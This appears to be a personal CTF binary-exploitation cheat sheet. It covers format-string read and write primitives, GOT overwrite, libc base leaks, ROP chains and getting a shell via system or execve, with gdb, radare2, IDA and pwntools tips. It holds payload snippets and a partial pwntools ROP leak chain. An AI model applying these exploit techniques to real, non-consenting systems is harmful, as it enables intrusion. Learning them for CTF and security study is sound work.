Leaking libc:
- loopy - NaCTF 2021
- dROPit - NaCTF 2020
- Full Protection - ASIS CTF Quals 2020
- got-2-learn-libc - Pico CTF 2018
Format string attacks (Writing to an arbritrary address):
- global warming - CSI (VIT) CTF 2020
- format1 - NaCTF 2019
- format - NaCTF 2020
GOT overwrite:
- echo-back - Pico CTF 2018
Courses:
Run these commands on the given binary:
- file
- strings
- readelf
- md5sum
- objdump
- checksec
- ghex (patching,diffing)
- ltrace (library calls)
- strace (system calls)
- Don't forget to pass arguments to registers in 64-bit instead of the stack.
- You may need to store the payload in some other section than the stack, since stack is used by library functions.
- View symbols in text section:
$ nm -a empty | grep " t\| T" - Make sure to point to
/bin/shand not the string value itself. - Make sure to set your file as executable before running your tools.
- Newline is required at the end of your payload to cause the binary to process your input.
fgetsmeans you can use null bytes in your payload but not newlines.getsends at newline or EOF, whilestrlenstops at null byte.nm <binary> | grep ' t 'pwndbg> info functionsdmesg | tailpwn cyclic
Offset notation: %6$x
- read-where primitive:
%s - for example,
AAAA%7$swould return the value at address:0x41414141 - write-what-where primitive:
%n - write one byte at a time:
%hhn
Reading from an arbritrary address:
- Get address of string to be read.
rabin2 -z <binary> - Find the offset from the stack where the input is stored:
%x.then%x.%x.then%x.%x.%x.and so on until you see the ascii values25782e - Once you know the offset, store the address to be read at that offset by
typing it in as the first thing in the buffer and then use the offset
you found out to go read in that address:
python -c 'print "\xef\xbe\xad\xde%6$s"' | ./<binary>
- The first time you make a call to a function like
printfthat resides in a dynamic library, it callsprintf@plt - Within
printf@pltit jumps intoprintf@got.pltthat is we jump to whatever address is stored in the GOT. - From there we go to
_dl_runtime_resolvewhich is in the dynamic linkerld.sowhich helps set up external references to libc. - Next time onwards we directly jump to
printffrom the GOT. - Since dynamically linked libraries update and also due to ASLR, we cannot hardcode addresses of functions that are run through the libraries.
- So we use relocation which is done by the dynamic linker called
ld-linux.sorun before any code from libc or your program.
Sections required by relocation:
.got: table of offsets filled by the linker for external tables..plt: stubs to look up addresses in .got section (jump to the right address or ask the linker to resolve it).
How relocation happens:
- When you call a library function for the first time, it calls the
.pltsection function within your binary. - In the
.pltwe have jump to an address in.gotwhich has been filled by the linker with the address of the given function in libc.
Lazy binding:
- Got gets the actual function address after the first call).
- Before lazy binding the GOT entry points back into the PLT.
GOT overwrite:
- https://www.youtube.com/watch?v=kUk5pw4w0h4
- https://nuc13us.wordpress.com/2015/09/04/format-string-exploit-overwrite-got/
- Find the address of GOT entry of a function that is going to be called.
- Use arbritrary write primitive to change that to some other function's GOT address.
References:
- https://ropemporium.com/guide.html (appendix A)
- https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
- https://refspecs.linuxbase.org/LSB\_3.1.1/LSB-Core-generic/LSB-Core-generic/specialsections.html
- http://www.infosecwriters.com/text\_resources/pdf/GOT\_Hijack.pdf
- https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
- https://stackoverflow.com/questions/43048932/why-does-the-plt-exist-in-addition-to-the-got-instead-of-just-using-the-got
Leaking libc base:
- First somehow get the address of puts during runtime.
- One way to do that is to use puts itself to print its address by using a buffer overflow (+ROP chain).
- Then subtract it from the puts offset from the given libc binary.
- Remember to use given library / your library depending on where you're testing.
- libc.address = puts_runtime - libc.symbols['puts']
Leaking functions:
- Similar to leaking libc base, but with a function.
- https://sidsbits.com/Defeating-ASLR-with-a-Leak/
- https://www.youtube.com/watch?v=evug4AhrO7o
- Get the address of
putsusing(gdb) x puts - Get the address of
systemusing(gdb) system - Get the offset between them.
- Get the address of
putswhile running the program. - Now, you can call
systemusing address ofputsminus the offset you calculated earlier.
If you can leak any one function, look into the last three nibbles and search for it on https://libc.blukat.me
Getting a shell:
- Use a call to
systemby passing shell command as the only argument. - Make sure to
call systemnot simply jump to it. (update: you don't need to call system, we need to align the stack so use an extraretgadget). - If you want to directly jump to it, make sure to append a dummy return
address and a parameter after it:
payload="A"*offset + system + "AAAA" + binsh - Use
syscall(x)to call toexecve('/bin/sh', NULL,NULL) - exec syscall on 32bit: 0x0b, exec syscall on 64bit: 0x3b.
- find "x" from:
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64
Writing to memory: (in case you want "/bin/sh")
- Look for gadgets like
mov [reg], reg(alternatively use something likefgets) - Look for places to write to using
readelf -S <binary>orrabin2 -S <binary>(don't forget to consider the size) - Write the string to the address using the gadget found in step 1.
- Call
systemwith address of the written string.
- To get source from apt
apt-get source binutils - To build binutils
CC=afl-gcc ./configurethenmake
- ARM mode has 4 byte instruction alignment.
- Can’t jump in the middle of instructions.
- THUMB mode has 2 byte instruction alignment.
- When ROPing there’s usually more THUMB gadgets that will be of use due to the 2 byte alignment.
- Because of 2 & 4 byte instruction alignment, the lowest bit of the program counter (eg r15) will never be set.
- This bit is re-purposed to tell the processor if we are in THUMB mode or ARM mode.
- Search for a string:
/ string_content - Seek:
s 0xdeadbeef - Print in hex:
px - Change to write mode:
oo+ - Write bytes:
w hello, world
- To change register values
set $sp += 4 - To search for string in memory
gef> grep asdf - https://sourceware.org/gdb/onlinedocs/gdb/Hooks.html
- To calculate stuff inside gdb
p 1+2 - Delete all breakpoints using
d - Delete breakpoint by number using
d 1 jump +1jumps to the next line line i.e. skipping the current line. Can be used when stuck inreptbreak +1to set a temporary breakpoint at the jump target.stepsteps into subroutines, butnextwill step over subroutines.stepandstepi(and thenextandnexti) are distinguishing by "line" or "instruction" increments.- In most of my use-cases I need
nexti(shortni) - To find address of a variable:
(gdb) p &var - While printing variables if it is an unknown type use
(gdb) p (int)var - Break at an offset from function
(gdb) b*main+128 - To get out of current function use
(gdb) finish - To list all functions
(gdb) info functions regex - To learn the relationship between higher level code and assembly better, use the -ggdb option while compilint.
- When GDB opens via debug(), it will initially be stopped on the very first instruction of the dynamic linker (ld.so) for dynamically-linked binaries.
- To view the source (and provide more debugging info) use -ggdb flag while
compiling with
gcc - How to set ASLR on on gdb (turns off every instance):
set disable-randomization off - How to print strings when you have their name (symbol)?:
p strthenx/s - Examine general format:
x/nfu addr - To examine a double word (giant):
x/xg addr - Changing variable values
set var <variable_name>=<value> - Disable SIGALRM
handle SIGALRM ignore - Disassemble function from the command line:
$ gdb -batch -ex 'file /bin/ls' -ex 'disassemble main'orgdb -q ./a.out 'disass main' - Ghidra decompilation in pwndbg:
ctx-ghidra sym.foo() - Execute python in gdb:
(gdb) python print('asdf')
- Open strings window using
Shift + F12. Can also open during debug mode. - Change between basic and graphic mode (space bar)
- Rename variables: (n)
- Comment –Side: (:), (;) –Above/below: (ins)
- Convert const formats: (right-click)
- Cross-reference: (x)
- Change to array: (a)
- IDA-Options-General-auto comment
- IDA-Options-General-opcode bytes 8
- Searching for strings:
payload += p64(next(libc.search(b'/bin/sh'))) flat(*args, preprocessor = None, length = None, filler = de_bruijn(), word_size = None, endianness = None, sign = None)-> str. Strings are inserted directly while numbers are packed using the pack() function:flat({32:'1337'})- To only see error logs:
context.log_level = 'error' - Need to use
io.interactiveorio.wait(?) - Use
recv()to receive everything up till that point. - While writing your exploit script keep
io.interactive()at the end and keep adding sends and receives before it. - Sometimes remote connection might be close due to an error in your python code (such as bytes != strings).
- For passing args:
io = process(['./chall','AAAA'])orio = gdb.debug(['./chall','AAAA'], 'b main') - Creating a template
pwn template ./<binary> --host 127.0.0.1 --port 1337 - Debugging with gdb
io = gdb.debug('./<binary>', 'b main') - Passing commandline arguments
io = process(['./crackme','blah']) - Shell code
shellcode = asm(shellcraft.sh())
Cyclic padding in pwntools:
Using terminal:
$pwn cyclic 200
pwn cyclic -l 0xdeadbeef
Using Python:
x = 4 #x=8 for 64-bit
io.sendline(cyclic(200, n=x))
io.wait()
core = io.corefile
offset = cyclic_find(core.read(core.esp, x), n=x) #rsp for 64 bit
offset -= x # wherever the sequence is found, we replace itROP in pwntools:
# finding gadgets
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]# leaking libc
elf = ELF('./vuln', checksec=False)
rop = ROP(elf)
#rop.raw(0)
#rop.raw(unpack(b'abcd'))
#rop.raw(2)
#rop.call('read',[4,5,6])
#rop.exit()
#rop.write(7,8,9)
#print(rop.dump())
#rop.call('execve', ['/bin/sh', [['/bin/sh'], ['-p'], ['-c'], ['ls']], 0])
#print(rop.chain())
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_plt = elf.symbols['main']
rop = offset + p64(pie+pop_rdi) + p64(pie+puts_got) + p64(pie+puts_plt) +
p64(pie+main_plt)